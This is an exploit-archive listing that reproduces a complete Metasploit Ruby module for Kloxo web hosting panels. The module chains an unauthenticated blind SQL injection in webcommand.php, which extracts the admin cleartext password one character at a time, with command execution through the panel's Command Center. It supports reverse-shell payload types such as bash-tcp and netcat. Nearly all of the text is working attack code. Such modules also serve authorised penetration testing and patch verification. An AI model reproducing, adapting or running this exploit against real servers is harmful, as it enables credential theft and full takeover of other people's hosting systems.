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Kloxo SQL Injection / Remote Code Execution

Kloxo SQL Injection / Remote Code Execution
Posted Feb 11, 2014
Authored by juan vazquez, temp66 | Site metasploit.com

This Metasploit module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as exploited in the wild on January 2014. The SQL injection issue can be abused in order to retrieve the Kloxo admin cleartext password from the database. With admin access to the web control panel, remote PHP code execution can be achieved by abusing the Command Center function. The module tries to find the first server in the tree view, unless the server information is provided, in which case it executes the payload there.

tags | exploit, remote, web, php, code execution, sql injection
MD5 | b35df27b598be9165f22354d99c4bb07

Kloxo SQL Injection / Remote Code Execution

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

Rank = ManualRanking
PASSWORD_PREFIX = '__lxen:'
BASE64_RANGE = Rex::Text::AlphaNumeric + '+/='

attr_accessor :password
attr_accessor :session
attr_accessor :server

def initialize(info = {})
super(update_info(info,
'Name' => 'Kloxo SQL Injection and Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as
exploited in the wild on January 2014. The SQL injection issue can be abused in order to
retrieve the Kloxo admin cleartext password from the database. With admin access to the
web control panel, remote PHP code execution can be achieved by abusing the Command Center
function. The module tries to find the first server in the tree view, unless the server
information is provided, in which case it executes the payload there.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Discovery, exploit in the wild
'juan vazquez' # Metasploit Module
],
'References' =>
[
['URL', 'https://vpsboard.com/topic/3384-kloxo-installations-compromised/'], # kloxo exploited in the wild
['URL', 'http://www.webhostingtalk.com/showthread.php?p=8996984'], # kloxo exploited in the wild
['URL', 'http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646'] # patch discussion
],
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'Space' => 262144, # 256k
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python gawk bash-tcp netcat'
}
},
'Targets' =>
[
['Kloxo / CentOS', {}]
],
'Privileged' => true,
'DisclosureDate' => 'Jan 28 2014',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(7778),
OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/'])
], self.class)

register_advanced_options(
[
OptString.new('SERVER_CLASS', [false, 'The server class']),
OptString.new('SERVER_NAME', [false, 'The server name'])
], self.class)
end

def check
return Exploit::CheckCode::Safe unless webcommand_exists?
return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0))
return Exploit::CheckCode::Safe unless pefix_found?

Exploit::CheckCode::Vulnerable
end

def exploit
fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") unless check == Exploit::CheckCode::Vulnerable

print_status("#{peer} - Recovering the admin password with SQLi...")
loot = base64_password
fail_with(Failure::Unknown, "#{peer} - Failed to exploit the SQLi...") if loot.nil?
@password = Rex::Text.decode_base64(loot)
print_good("#{peer} - Password recovered: #{@password}")

print_status("#{peer} - Logging into the Control Panel...")
@session = send_login
fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil?

report_auth_info(
:host => rhost,
:port => rport,
:user => 'admin',
:pass => @password,
:type => 'password',
:sname => (ssl ? 'https' : 'http')
)

print_status("#{peer} - Retrieving the server name...")
@server = server_info
fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil?

print_status("#{peer} - Exploiting...")
send_command(payload.encoded)
end

def send_login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.to_s, 'htmllib', 'phplib', ''),
'vars_post' =>
{
'frm_clientname' => 'admin',
'frm_password' => @password,
'login' => 'Login'
}
)

if res && res.code == 302 && res.headers.include?('Set-Cookie')
return res.get_cookies
end

nil
end

def server_info

unless datastore['SERVER_CLASS'].blank? || datastore['SERVER_NAME'].blank?
return { :class => datastore['SERVER_CLASS'], :name => datastore['SERVER_NAME'] }
end

res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s, 'display.php'),
'cookie' => @session,
'vars_get' =>
{
'frm_action' => 'show'
}
})

if res && res.code == 200 && res.body.to_s =~ /<input type=hidden name="frm_subaction" value ="commandcenter">/
return parse_display_info(res.body.to_s)
end

nil
end

def parse_display_info(html)
server_info = {}
pos = html.index(/<input type=hidden name="frm_subaction" value ="commandcenter">/)

if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[class\]" value ="(.*)">/, pos).nil?
return nil
else
server_info[:class] = $1
end

if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[nname\]" value ="(.*)"> /, pos).nil?
return nil
else
server_info[:name] = $1
end

server_info
end

def send_command(command)
data = Rex::MIME::Message.new
data.add_part(@server[:class], nil, nil, 'form-data; name="frm_o_o[0][class]"')
data.add_part(@server[:name], nil, nil, 'form-data; name="frm_o_o[0][nname]"')
data.add_part(command, nil, nil, 'form-data; name="frm_pserver_c_ccenter_command"')
data.add_part('', nil, nil, 'form-data; name="frm_pserver_c_ccenter_error"')
data.add_part('updateform', nil, nil, 'form-data; name="frm_action"')
data.add_part('commandcenter', nil, nil, 'form-data; name="frm_subaction"')
data.add_part('Execute', nil, nil, 'form-data; name="frm_change"')

post_data = data.to_s
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path.to_s, 'display.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => @session,
'data' => post_data
}, 1)
end

def webcommand_exists?
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php'))

if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/
return true
end

false
end

def pefix_found?
i = 1
PASSWORD_PREFIX.each_char do |c|
return false unless exploit_sqli(i, c)
i = i + 1
end

true
end

def bad_char(pos)
Rex::Text.rand_text_alpha(1, PASSWORD_PREFIX[pos])
end

def ascii(char)
char.unpack('C')[0]
end

def base64_password
i = PASSWORD_PREFIX.length + 1
loot = ''

until exploit_sqli(i, "\x00")
vprint_status("#{peer} - Bruteforcing position #{i}")
c = brute_force_char(i)
if c.nil?
return nil
else
loot << c
end
vprint_status("#{peer} - Found: #{loot}")
i = i + 1
end

loot
end

def brute_force_char(pos)
BASE64_RANGE.each_char do |c|
return c if exploit_sqli(pos, c)
end

nil
end

def exploit_sqli(pos, char)
# $1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/ == crypt(123456)
sqli = "al5i' "
sqli << "union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client where "
sqli << "ascii(substring(( select realpass from client limit 1),#{pos},1))=#{ascii(char)}#"

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.to_s, 'lbin', 'webcommand.php'),
'vars_get' =>
{
'login-class' => 'client',
'login-name' => sqli,
'login-password' => '123456'
}
)

if res && res.code == 200 && res.body.blank?
return true
elsif res && res.code == 200 && res.body.to_s =~ /_error_login_error/
return false
end

vprint_warning("#{peer} - Unknown fingerprint while exploiting SQLi... be careful")
false
end

end

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